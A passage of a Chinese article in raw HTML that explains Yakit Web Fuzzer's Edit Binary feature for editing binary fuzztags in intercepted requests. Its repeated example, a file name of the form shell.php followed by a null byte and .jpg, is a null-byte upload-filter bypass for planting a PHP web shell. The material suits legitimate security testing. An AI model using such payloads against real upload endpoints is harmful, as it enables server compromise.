-apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">0x00</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">；</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">如果还要换行符、图片魔数之类，得组合一堆标签，越写越乱。</span></span></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">最近 Yakit 新分支在 Web Fuzzer 里加了一个 </span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">Edit Binary</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">功能，把这件事直接集成到了编辑器里。</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">这篇文章介绍一下它怎么用，以及为什么上传包改包会因此变简单。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;"><span textstyle="" style="letter-spacing: 1px;">一、Edit Binary 是什么？</span></span></strong></p></div></div></div><p style="margin: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">当 MITM 数据包中存在二进制流时， MITM 数据包的 body 会变成含有 {{unquote(...)}} 包裹的数据包，而 Edit Binary 就是针对 </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">{{unquote(...)}}</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">、</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">{{hexdecode(...)}}</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">、</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">{{base64decode(...)}}</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">这类二进制 Fuzztag 的可视化编辑器。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">当你在数据包里存在，或者写了这样的标签：</span></span></p><pre><code data-lark-language="HTTP" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf="">{{<span class="code-snippet__title">unquote</span>(<span class="code-snippet__string">&#34;shell.php\x00.jpg&#34;</span>)}}</span></code><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">Yak</span></span><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">i</span></span><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">t 会把它渲染成一个小卡片：</span></span></p><pre><code data-lark-language="Plain Text" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">Binary</span>[<span class="code-snippet__number">0</span>x736865..<span class="code-snippet__number">13</span>B] Click to modify</span></code><br/></pre></p></code><br/></pre><p style="padding: 0.5em;margin-bottom: 8px;text-align: center;" data-mpa-action-id="mqhvad1i1ar6" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-ratio="0.4114441416893733" data-type="png" data-w="734" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;height: auto !important;" data-width="734" data-height="302" data-imgfileid="100046268" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=aace71ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72FAibvzicCricQSGpam0ZyGo7PDk0BoL3T9k39yIbRO8naMqyEOu0aTvD2mnIMibfraibrkoOl3J33AN6QPGYfgDWcH89OOSBjwg8UU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">点击这个卡片，就会弹出 </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">Edit Binary - {{unquote(...)}}</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 窗口，你可以像用 Hex Editor 一样直接修改里面的原始字节。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;"><span textstyle="" style="letter-spacing: 1px;">二、Binary 卡片什么时候会出现？</span></span></strong></p></div></div></div><p style="margin: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">先说两个</span></span><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">容</span></span><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">易踩坑的点。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">2.1 引号必须用双引号</span></span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">unquote</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">标签目前只识别双引号字符串。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">如果你写成：</span></span></p><pre><code data-lark-language="HTTP" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf="">{{<span class="code-snippet__title">unquote</span>(<span class="code-snippet__string">&#39;shell.php\x00.jpg&#39;</span>)}}</span></code><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;text-align: left;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">它</span></span><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">不会</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">被折叠成 Binary 卡片，因为源码里的正则只匹配 </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">&#34;</span></span></code><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">...&#34;</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">（</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">binaryFuzztag.ts:153</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">）。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">正确写法：</span></span></p><pre><code data-lark-language="HTTP" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf="">{{<span class="code-snippet__title">unquote</span>(<span class="code-snippet__string">&#34;shell.php\x00.jpg&#34;</span>)}}</span></code><br/></pre></p></code><br/></pre><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">2.2 没有长度门槛</span></span></strong></span></p></div></div></div></div></div><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">unquote</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> / </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">hexdecode</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> / </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">base64decode</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">是</span></span><strong style="line-height: 1.6em;font-size: 15px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">可编辑标签</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">，</span><span textstyle="" style="letter-spacing: 1px;">源码里没有对它们设置长度门槛，</span></span><strong style="line-height: 1.6em;font-size: 15px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">无论内容多短都会折叠成卡片</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span></p><pre style="white-space:pre-wrap;"><code data-lark-language="HTTP" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf="">{{<span class="code-snippet__title">unquote</span>(<span class="code-snippet__string">&#34;\x00&#34;</span>)}}           ← <span class="code-snippet__number">1</span> 个字节，也会折叠成 <span class="code-snippet__title">Binary</span> 卡片</span></code><br/><br/><code><span leaf="">{{<span class="code-snippet__title">hexdecode</span>(<span class="code-snippet__number">00</span>)}}              ← <span class="code-snippet__number">1</span> 个字节，也会折叠成 <span class="code-snippet__title">HexString</span> 卡片</span></code><br/><br/><code><span leaf="">{{<span class="code-snippet__title">base64decode</span>(<span class="code-snippet__variable">AA</span>==)}}         ← <span class="code-snippet__number">1</span> 个字节，也会折叠成 <span class="code-snippet__title">Base64</span> 卡片</span></code><br/><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">注意语法区别：</span></span></p><ul class="list-paddingleft-1"><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">unquote</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 的参数是</span></span><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">带双引号的字符串</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">{{unquote(&#34;\x00&#34;)}}</span></span></code></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">hexdecode</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> / </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">base64decode</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 的参数</span></span><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">不需要引号</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">{{hexdecode(00)}}</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">、</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">{{base64decode(AA==)}}</span></span></code></p></li></ul><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 